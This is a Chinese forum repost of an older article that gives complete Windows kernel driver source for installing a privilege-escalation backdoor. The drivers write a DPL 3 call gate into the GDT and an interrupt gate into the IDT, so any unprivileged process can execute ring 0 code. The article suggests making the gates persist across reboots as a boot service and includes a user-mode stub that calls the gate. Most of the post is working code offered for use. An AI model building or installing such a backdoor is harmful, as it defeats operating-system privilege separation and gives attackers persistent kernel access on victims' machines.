首页
社区
课程
招聘
[转帖][转帖][转帖]任意用户模式下执行 ring 0 代码
发表于: 2010-8-21 22:00 5824

[转帖][转帖][转帖]任意用户模式下执行 ring 0 代码

2010-8-21 22:00
5824
创建时间:2003-06-25
            文章属性:原创
            文章提交:sinister (jiasys_at_21cn.com)
            任意用户模式下执行 ring 0 代码
            Author  : sinister
            Email   : sinister@whitecell.org
            HomePage: 6b1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6Z5K9i4c8W2j5$3g2D9L8q4)9J5k6h3!0J5k6#2)9J5c8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7

               众所周知在非 Admin 用户模式下,是不允许加载驱动执行 RING 0 代码的。
            本文提供了一种方法,通过修改系统 GDT,IDT 来添加自己的 CALLGATE 和
            INTGATE 这样便在系统中设置了一个后门。我们就可以利用这个后门
            在任意用户模式下执行 ring 0 代码了。为了保证我们添加的 CALLGATE 和 INT
            GATE 永久性。可以在第一次安装时利用 SERVICE API 或 INF 文件设置成随
            系统启动。不过此方法也有个缺陷,就是在第一次安装 CALLGATE 或 INTGATE
            时仍然需要 ADMIN 权限。下面分别给出了添加 CALLGATE 与 INTGATE 的具体
            代码。
              
               一、通过添加调用门实现
              为了可以让任意用户来调用我们的 CALLGATE 需要解决一个小问题。因为
            需要知道 CALLGATE 的 SELECTOR 后才可以调用。而在 RING 3 下除了能
            得到 GDT 的 BASE ADDRESS 和 LIMIT 外是无法访问 GDT 内容的。我本想
            在 RING 0 把 SELECTOR 保存到文件里。在 RING 3 下读取出来再调用。
            后经过跟 wowocock 探讨。他提出的思路是在 RING 0 下通过
            ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然后根据
            PE HEADER 中的空闲处存放 SELECTOR。这样在 RING 3 的任意用户模式下
            就很容易得到了。在这里要特别感谢 wowocock。下面的代码为了演示
            方便,用了在我机器上 GDT 中第一个空闲描述符的 SELECTOR 。

            驱动程序:
            /*****************************************************************
            文件名        : WssAddCallGate.c
            描述          : 添加调用门
            作者          : sinister
            最后修改日期  : 2002-11-02
            *****************************************************************/
            #include "ntddk.h"
            #include "string.h"
            #ifndef DWORD
            #define DWORD unsigned int
            #endif
            #ifndef WORD
            #define WORD unsigned short
            #endif
            #define LOWORD(l)           ((unsigned short)(unsigned int)(l))
            #define HIWORD(l)           ((unsigned short)((((unsigned int)(l))
            >> 16) & 0xFFFF))

            typedef unsigned long    ULONG;
            static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN
            PIRP Irp);
            VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
            #pragma pack(push,1)

            typedef struct tagGDTR{
                WORD    wLimit;
                DWORD   *dwBase;
            }GDTR, *PGDTR;
            typedef struct tagGDT_DESCRIPTOR{
                unsigned limit         : 16;
                unsigned baselo         : 16;
                unsigned basemid     : 8;
                unsigned type        : 4;
                unsigned system      : 1;
                unsigned dpl         : 2;
                unsigned present     : 1;
                unsigned limithi     : 4;
                unsigned available   : 1;
                unsigned zero        : 1;
                unsigned size        : 1;
                unsigned granularity : 1;
                unsigned basehi : 8;
            }GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;
            typedef struct tagCALLGATE_DESCRIPTOR{
                unsigned short   offset_0_15;
                unsigned short   selector;
                unsigned char    param_count : 4;
                unsigned char    some_bits   : 4;
                unsigned char    type        : 4;
                unsigned char    app_system  : 1;
                unsigned char    dpl         : 2;
                unsigned char    present     : 1;
                unsigned short   offset_16_31;
            } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;
            #pragma pack(pop)
            void __declspec(naked) Ring0Call()
            {
                PHYSICAL_ADDRESS  PhyAdd;
                __asm {
                    pushad
                    pushfd
                    cli
                }
                 DbgPrint("WSS - My CallGate \n");
                 //
                 // 这里可以添加你想要执行的 ring 0 代码。
                 //
                __asm {
                   popfd
                   popad
                   retf
                }
            }
            VOID AddCallGate( ULONG FuncAddr )
            {
                GDTR                    gdtr;
                PGDT_DESCRIPTOR         gdt;
                PCALLGATE_DESCRIPTOR    callgate;
                WORD                    wGDTIndex = 1;

                __asm {
                    sgdt  gdtr                  // 得到 GDT 基地址与界限
                }
                gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 );  // 跳过空选择子
                while ( wGDTIndex < ( gdtr.wLimit / 8 ) )
                {
                   if ( gdt->present == 0 )     //从 GDT 中找到空描述符
                   {           
                        callgate = (PCALLGATE_DESCRIPTOR)gdt;
                        callgate->offset_0_15             = LOWORD(FuncAddr);
                        callgate->selector         = 8;                     //
            内核段选择子
                        callgate->param_count             = 0;               //
            参数复制数量
                        callgate->some_bits         = 0;                    
                        callgate->type             = 0xC;              // 386调用门
                        callgate->app_system             = 0;                    
            // 系统描述符
                        callgate->dpl             = 3;                    //
            RING 3 可调用
                        callgate->present         = 1;                    //
            设置存在位
                        callgate->offset_16_31   = HIWORD(FuncAddr);
                        DbgPrint("Add CallGate\n");
                        return;
                   }
                   gdt ++;        
                   wGDTIndex ++;
                }
            }

            // 驱动入口
            NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN
            PUNICODE_STRING RegistryPath )
            {
               
                UNICODE_STRING  nameString, linkString;
                PDEVICE_OBJECT  deviceObject;
                NTSTATUS        status;
                HANDLE          hHandle;
                int                i;
               
                //卸载驱动
                DriverObject->DriverUnload = DriverUnload;
                //建立设备
                RtlInitUnicodeString( &nameString, L"\\Device\\WssAddCallGate"
);
               
                status = IoCreateDevice( DriverObject,
                                         0,
                                         &nameString,
                                         FILE_DEVICE_UNKNOWN,
                                         0,
                                         TRUE,
                                         &deviceObject
                                       );
                                       
                if (!NT_SUCCESS( status ))
                    return status;
               
                RtlInitUnicodeString( &linkString,
            L"\\DosDevices\\WssAddCallGate" );
                status = IoCreateSymbolicLink (&linkString, &nameString);
                if (!NT_SUCCESS( status ))
                {
                    IoDeleteDevice (DriverObject->DeviceObject);
                    return status;
                }   
               
                AddCallGate((ULONG)Ring0Call);
                for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)    {
                      DriverObject->MajorFunction[i] = MydrvDispatch;
                }
                  DriverObject->DriverUnload = DriverUnload;
                 
              return STATUS_SUCCESS;
            }

            //处理设备对象操作
            static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN
            PIRP Irp)
            {
                Irp->IoStatus.Status = STATUS_SUCCESS;
                Irp->IoStatus.Information = 0L;
                IoCompleteRequest( Irp, 0 );
                return Irp->IoStatus.Status;
               
            }
            VOID DriverUnload (IN PDRIVER_OBJECT    pDriverObject)
            {
                UNICODE_STRING  nameString;
                RtlInitUnicodeString( &nameString,
            L"\\DosDevices\\WssAddCallGate" );   
                IoDeleteSymbolicLink(&nameString);
                IoDeleteDevice(pDriverObject->DeviceObject);
                return;
            }

            应用程序:
            #include <windows.h>
            #include <stdio.h>
            void main()
            {
                WORD farcall[3];
                farcall[0] = 0x0;
                farcall[1] = 0x0;
                farcall[2] = 0x4b;  //在我机器上,添加 CALLGATE 的选择子为 4BH
                _asm call fword ptr [farcall]

            }

               二、通过添加中断门实现
              添加中断门没有什么需要解决的问题。直接在 RING 3 利用 int x
            即可切换。想想系统调用 INT 2E 就很容易理解了。

            /*****************************************************************
            文件名        : WssMyInt.c
            描述          : 添加中断门
            作者          : sinister
            最后修改日期  : 2002-11-02
            *****************************************************************/
            #include "ntddk.h"
            #pragma pack(1)

            typedef struct tagIDTR {
                    short Limit;
                    unsigned int Base;
            }IDTR, *PIDTR;

            typedef struct tagIDTENTRY {
                    unsigned short OffsetLow;
                    unsigned short Selector;
                    unsigned char  Reserved;
                    unsigned char  Type:4;
                    unsigned char  Always0:1;
                    unsigned char  Dpl:2;
                    unsigned char  Present:1;
                    unsigned short OffsetHigh;
            } IDTENTRY, *PIDTENTRY;
            #pragma pack()
            #define MYINT 0x76
            extern VOID _cdecl MyIntFunc();
            CHAR   IDTBuffer[6];
            IDTENTRY  OldIdt;
            PIDTR idtr = (PIDTR)IDTBuffer;

            static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN
            PIRP Irp);
            VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
            // 我们得中断处理函数
            VOID _cdecl MyIntFunc()
            {
                PHYSICAL_ADDRESS  PhyAdd;
                unsigned int      dwCallNum;
                unsigned int      dwVAddr;
                _asm mov dwCallNum,eax
                 //
                 // 这里可以添加你想要执行的 ring 0 代码
                 //
                switch ( dwCallNum )
                {
                    case 0x01:        
                         DbgPrint("MyIntGate eax = 0x01\n");
                         break;
                    case 0x02:
                         DbgPrint("MyIntGate eax = 0x02\n");
                         break;
                    default:break;
                }

                _asm iretd; //中断返回
            }
            NTSTATUS AddMyInt()
            {
                PIDTENTRY    Idt;
                //得到 IDTR 中得段界限与基地址
                _asm sidt IDTBuffer
                Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址
                //保存原有得 IDT
                RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt));

                //禁止中断
                _asm cli
                //设置 IDT 表各项添加我们得中断
                Idt[MYINT].OffsetLow   = (unsigned short)MyIntFunc;   
            //取中断处理函数低16位
                Idt[MYINT].Selector    = 8;                           
//设置内核段选择子
                Idt[MYINT].Reserved    = 0;                            //系统保留
                Idt[MYINT].Type        = 0xE;                          
            //设置0xE表示是中断门
                Idt[MYINT].Always0     = 0;                           
//系统保留必须为0
                Idt[MYINT].Dpl         = 3;                           
            //描述符权限,设置为允许 RING 3 进程调用
                Idt[MYINT].Present     = 1;                           
            //存在位设置为1表示有效
                Idt[MYINT].OffsetHigh  = (unsigned short)((unsigned
            int)MyIntFunc>>16); //取中断处理函数高16位
                //开中断
                _asm sti
                return STATUS_SUCCESS;
            }

            //删除中断
            void RemoveMyInt()
            {
                PIDTENTRY            Idt;
                Idt = (PIDTENTRY)idtr->Base;
                _asm cli
                //恢复 IDT
                RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt));
                _asm sti
            }
            // 驱动入口
            NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN
            PUNICODE_STRING RegistryPath )
            {
               
                UNICODE_STRING  nameString, linkString;
                //UNICODE_STRING  deviceString;
                PDEVICE_OBJECT  deviceObject;
                NTSTATUS        status;
                WCHAR           wBuffer[200];
               
                nameString.Buffer        = wBuffer;
                nameString.MaximumLength = 200;

                //卸载驱动
                DriverObject->DriverUnload = DriverUnload;
                //建立设备
                RtlInitUnicodeString( &nameString, L"\\Device\\WSSINT" );
               
                status = IoCreateDevice( DriverObject,
                                         0,
                                         &nameString,
                                         FILE_DEVICE_UNKNOWN,
                                         0,
                                         TRUE,
                                         &deviceObject
                                       );
                                       
                if (!NT_SUCCESS( status ))
                    return status;
               
                RtlInitUnicodeString( &linkString, L"\\??\\WSSINT" );
                //使WIN32应用程序可见
                status = IoCreateSymbolicLink (&linkString, &nameString);
                if (!NT_SUCCESS( status ))
                {
                    IoDeleteDevice (DriverObject->DeviceObject);
                    return status;
                }   
               
                AddMyInt();
                DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
                DriverObject->MajorFunction[IRP_MJ_CLOSE]  = MydrvDispatch;  
                 
              return STATUS_SUCCESS;
            }

            static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN
            PIRP Irp)
            {
                NTSTATUS            status;
               
                UNREFERENCED_PARAMETER( DeviceObject );
               
                Irp->IoStatus.Status = STATUS_SUCCESS;
                Irp->IoStatus.Information = 0L;
                status = STATUS_SUCCESS;
                IoCompleteRequest( Irp, 0 );
                return status;
               
            }
            VOID DriverUnload (IN PDRIVER_OBJECT    pDriverObject)
            {
                UNICODE_STRING  nameString;
                UNICODE_STRING  deviceString,driveString;
                NTSTATUS        ntStatus;
                RemoveMyInt();
                //删除WIN32可见
                IoDeleteSymbolicLink(&nameString);
                //删除设备
                IoDeleteDevice(pDriverObject->DeviceObject);
                return;
            }

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 998
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
怎么又转贴这个,很老的文章了,而且坛子上有好几篇类似的了,combjiang也写过。
2010-8-22 05:17
0
游客
登录 | 注册 方可回帖
返回